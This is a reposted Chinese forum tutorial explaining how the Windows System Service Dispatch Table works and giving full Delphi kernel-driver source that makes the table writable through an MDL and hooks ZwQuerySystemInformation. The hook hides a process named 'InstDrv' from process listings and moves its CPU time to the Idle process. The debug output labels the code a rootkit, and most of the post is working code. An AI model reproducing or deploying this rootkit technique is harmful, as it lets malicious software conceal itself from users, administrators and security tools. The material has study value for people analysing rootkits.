宝峰科技

 找回密码
 注册

QQ登录

只需一步,快速开始

智能终端设备维修查询系统注册会员邮箱认证须知!
查看: 4200|回复: 1

[转载] SSDT Hook原理及Delphi实现

[复制链接]
  • TA的每日心情
    开心
    2024-12-9 18:45
  • 签到天数: 124 天

    [LV.7]常住居民III

    admin 发表于 2010-12-22 09:00:52 | 显示全部楼层 |阅读模式

    欢迎您注册加入!这里有您将更精采!

    您需要 登录 才可以下载或查看,没有账号?注册

    x
    一、一般思路:
    1.先来了解一下,什么是SSDT
    SSDT即System Service Dispath   Table。在了解它之前,我们先了解一下NT的基本组件。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。

    用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,如下图:

    从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:

    KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构如下:
    1. TServiceDescriptorEntry=packed record
    2.    ServiceTableBase:PULONG;
    3.    ServiceCounterTableBase:PULONG;
    4.    NumberOfServices:ULONG;
    5.    ParamTableBase:PByte;
    6. end;
    复制代码
    其中,
    ServiceTableBase   -- System Service Dispatch Table 的基地址。
    NumberOfServices 由 ServiceTableBase 描述的服务的数目。
    ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
    ParamTableBase 包含每个系统服务参数字节数表的基地址。
    System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4字节长。
    System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
    还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如下图:

    右侧的服务分发就通过KeServiceDescriptorTableShadow。
    那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
    2.Hook前的准备-改变SSDT内存的保护
    系统对SSDT都是只读的,不能写。如果试图去写,等你的就是BSOD。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
    (1)改变CR0寄存器的第1位
    Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:

    其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT、IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
    (2) 通过Memory Descriptor List(MDL)
    也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
    1. TMDL=packed record
    2.    Next: PMDL;
    3.    Size: CSHORT;
    4.    MdlFlags: CSHORT;
    5.    Process: PEPROCESS;
    6.    MappedSystemVa: PVOID;
    7.    StartVa: PVOID;
    8.    ByteCount: ULONG;
    9.    ByteOffset: ULONG;
    10. end;
    复制代码
    首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:

    1. { 把SSDT隐射到我们的区域,以便修改它为可写属性 }
    2.    g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
    3.                                    lpKeServiceDescriptorTable^.NumberOfServices * 4);
    4.    if g_pmdlSystemCall = nil then
    5.      Exit(STATUS_UNSUCCESSFUL);

    6.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

    7.    { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
    8.    g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
    9.    { 在内存中锁定,不让换出 }
    10.    MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);
    复制代码
    现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
    由于Delphi不支持导入其他模块导出的变量,因此我们在这里使用变通的方法,我们把KeServiceDescriptorTable当成函数导入。因此在处理上就和C不同了。由于KeServiceDescriptorTable是当成函数导入的,因此它的真实地址就保存在IAT表中,我们首先用GetImportFunAddr函数从IAT中取得KeServiceDescriptorTable的地址,接下来用SystemServiceName函数取得相应函数在SSDT中的地址。SystemServiceName的原理就是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。接下来我们使用InterlockedExchange自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
    3.小试牛刀:利用SSDT Hook隐藏进程
    我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,其函数原型如下:
    1.   function ZwQuerySystemInformation(
    2.    SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果这值是5,则代表系统中所有进程信息}
    3.    SystemInformation: PVOID; {这就是最终列举出的信息,和上面的值有关}
    4.    SystemInformationLength: ULONG;
    5.    ReturnLength: PULONG): NTSTATUS; stdcall;
    复制代码
    如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
    (1)   突破SSDT的内存保护,如上所用的MDL方法
    (2)   实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
    (3)   用InterlockedExchange来交换ZwQuerySystemInformation与我们自己的New*函数
    (4)   卸载New*函数,完成。
    具体代码如下:
    1. unit ssdt_hook;

    2. interface

    3. uses
    4.    nt_status, ntoskrnl, native, fcall, macros;

    5. function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
    6.                        pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

    7. implementation
    8. type
    9.    {定义ZwQuerySystemInformation函数类型}
    10.    TZwQuerySystemInformation =
    11.      function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
    12.               SystemInformation: PVOID;
    13.               SystemInformationLength: ULONG;
    14.               ReturnLength: PULONG): NTSTATUS; stdcall;

    15. var
    16.    m_UserTime: LARGE_INTEGER;
    17.    m_KernelTime: LARGE_INTEGER;
    18.    OldZwQuerySystemInformation: TZwQuerySystemInformation;
    19.    g_pmdlSystemCall: PMDL;
    20.    MappedSystemCallTable: PPointer;
    21.    lpKeServiceDescriptorTable: PServiceDescriptorEntry;

    22. { 由于Delphi无法导入其他模块导出的变量,因此我们变通一下,将其
    23.    当做函数导入,这样,其真实地址就保存在IAT中,每条导入函数的
    24.    IAT记录有6字节,格式为jmp ds:[xxxxxxxx],机器码为FF25xxxxxxxx,
    25.    FF25是长跳转的机器码,跳过这2字节就是需要的地址。这点与C中不同,
    26.    需要注意。}
    27. function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//从导入表中获取一个函数的地址
    28. begin
    29.    { 直接使用指针指向函数即可,还原SSDT的时候类似,也只需要指向
    30.      KeServiceDescriptorTable }
    31.    Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
    32. end;

    33. { KeServiceDescriptorTable+函数名计算SSDT函数偏移 }
    34. function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
    35. begin
    36.    { SSDT偏移+函数名,就是SSDT函数偏移 }
    37.    { Delphi 2009中支持Pointer Math运算,可以这样写 }
    38.    {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
    39.    { 如果用其他版本,就只能像下面这样写了 }
    40.    Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
    41. end;

    42. { 我们的hook函数,过滤掉"InstDrv"的进程 }
    43. function NewZwQuerySystemInformation(
    44.              SystemInformationClass: SYSTEM_INFORMATION_CLASS;
    45.              SystemInformation: PVOID;
    46.              SystemInformationLength: ULONG;
    47.              ReturnLength: PULONG): NTSTATUS; stdcall;
    48. var
    49.    nt_Status: NTSTATUS;
    50.    curr, prev: PSYSTEM_PROCESSES;
    51.    times: PSYSTEM_PROCESSOR_TIMES;
    52. begin
    53.    nt_Status := OldZwQuerySystemInformation(
    54.            SystemInformationClass,
    55.            SystemInformation,
    56.            SystemInformationLength,
    57.            ReturnLength );

    58.    if NT_SUCCESS(nt_Status) then
    59.    begin
    60.      { 请求文件、目录列表 }
    61.      if SystemInformationClass = SystemProcessesAndThreadsInformation then
    62.      begin
    63.        { 列举系统进程链表 }
    64.        { 寻找"InstDrv"进程 }
    65.        curr := PSYSTEM_PROCESSES(SystemInformation);
    66.        prev := nil;
    67.        while curr <> nil do
    68.        begin
    69.          DbgPrint('Current item is %x'#13#10, curr);
    70.          if curr^.ProcessName.Buffer <> nil then
    71.          begin
    72.            if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
    73.            begin
    74.              Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
    75.              Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

    76.              if prev <> nil then
    77.              begin
    78.                { Middle or Last entry }
    79.                if curr^.NextEntryDelta <> 0 then
    80.                  Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
    81.                else
    82.                  { we are last, so make prev the end }
    83.                  prev^.NextEntryDelta := 0;
    84.              end else
    85.              begin
    86.                if curr^.NextEntryDelta <> 0 then
    87.                begin
    88.                  { we are first in the list, so move it forward }
    89.                  PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
    90.                                                  curr^.NextEntryDelta;
    91.                end else { we are the only process! }
    92.                  SystemInformation := nil;
    93.              end;
    94.            end;
    95.          end else { Idle process入口 }
    96.          begin
    97.            { 把InstDrv进程的时间加给Idle进程,Idle称空闲时间 }
    98.            Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
    99.            Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

    100.            { 重设时间,为下一次过滤 }
    101.            m_UserTime.QuadPart := 0;
    102.            m_KernelTime.QuadPart := 0;
    103.          end;
    104.          prev := curr;
    105.          if curr^.NextEntryDelta <> 0 then
    106.            PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
    107.          else
    108.            curr := nil;
    109.        end;
    110.      end else if SystemInformationClass = SystemProcessorTimes then
    111.      begin
    112.        times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
    113.        times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
    114.                                    m_UserTime.QuadPart +
    115.                                    m_KernelTime.QuadPart;
    116.      end;
    117.    end;
    118.    Result := nt_Status;
    119. end;

    120. procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
    121. begin
    122.    DbgPrint('ROOTKIT: OnUnload called'#13#10);

    123.    { 卸载hook }
    124.    InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
    125.                        LONG(@OldZwQuerySystemInformation));
    126.    { 解锁并释放MDL }
    127.    if g_pmdlSystemCall <> nil then
    128.    begin
    129.      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    130.      IoFreeMdl(g_pmdlSystemCall);
    131.    end;
    132. end;

    133. function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
    134.                        pusRegistryPath: PUNICODE_STRING): NTSTATUS;
    135. begin
    136.    { 取得指向系统服务描述符表的指针…… }
    137.    lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
    138.    { 注册一个卸载的分发函数,与与应用层沟通 }
    139.    pDriverObject^.DriverUnload := @OnUnload;

    140.    { 初始化全局时间为零 }
    141.    { 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的
    142.      消耗会不变,cpu 100% }
    143.    m_UserTime.QuadPart := 0;
    144.    m_KernelTime.QuadPart := 0;

    145.    { 保存旧的函数地址 }
    146.    OldZwQuerySystemInformation :=
    147.      TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

    148.    { 把SSDT隐射到我们的区域,以便修改它为可写属性 }
    149.    g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
    150.                                    lpKeServiceDescriptorTable^.NumberOfServices * 4);
    151.    if g_pmdlSystemCall = nil then
    152.      Exit(STATUS_UNSUCCESSFUL);

    153.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

    154.    { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
    155.    g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
    156.    { 在内存中锁定,不让换出 }
    157.    MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

    158.    { 把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,
    159.     先突破了SSDT的保护,接着用InterlockedExchange更改了目标函数,
    160.     下来就剩下具体的过滤任务了 }
    161.    OldZwQuerySystemInformation :=
    162.      TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
    163.                          LONG(@NewZwQuerySystemInformation)));

    164.    Result := STATUS_SUCCESS;
    165. end;

    166. end.
    复制代码
    这里我隐藏了InstDrv这个进程,加载驱动后可以发现我们的驱动确实Hook了ZwQuerySystemInformation,而且在进程列表中也看不到InstDrv进程,说明我们的驱动是成功的^_^。

  • TA的每日心情
    开心
    2012-7-29 00:25
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    花心胡萝卜 发表于 2010-12-23 16:17:09 | 显示全部楼层
    看不懂--先收藏
    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    免责声明

    本站中所有被研究的素材与信息全部来源于互联网,版权争议与本站无关。本站所发布的任何软件编程开发或软件的逆向分析文章、逆向分析视频、补丁、注册机和注册信息,仅限用于学习和研究软件安全的目的。全体用户必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。学习编程开发技术或逆向分析技术是为了更好的完善软件可能存在的不安全因素,提升软件安全意识。所以您如果喜欢某程序,请购买注册正版软件,获得正版优质服务!不得将上述内容私自传播、销售或者用于商业用途!否则,一切后果请用户自负!

    QQ|Archiver|手机版|小黑屋|联系我们|宝峰科技 ( 滇公网安备 53050202000040号 | 滇ICP备09007156号-2 )

    Copyright © 2001-2023 Discuz! Team. GMT+8, 2024-12-22 23:13 , File On Powered by Discuz! X3.49

    快速回复 返回顶部 返回列表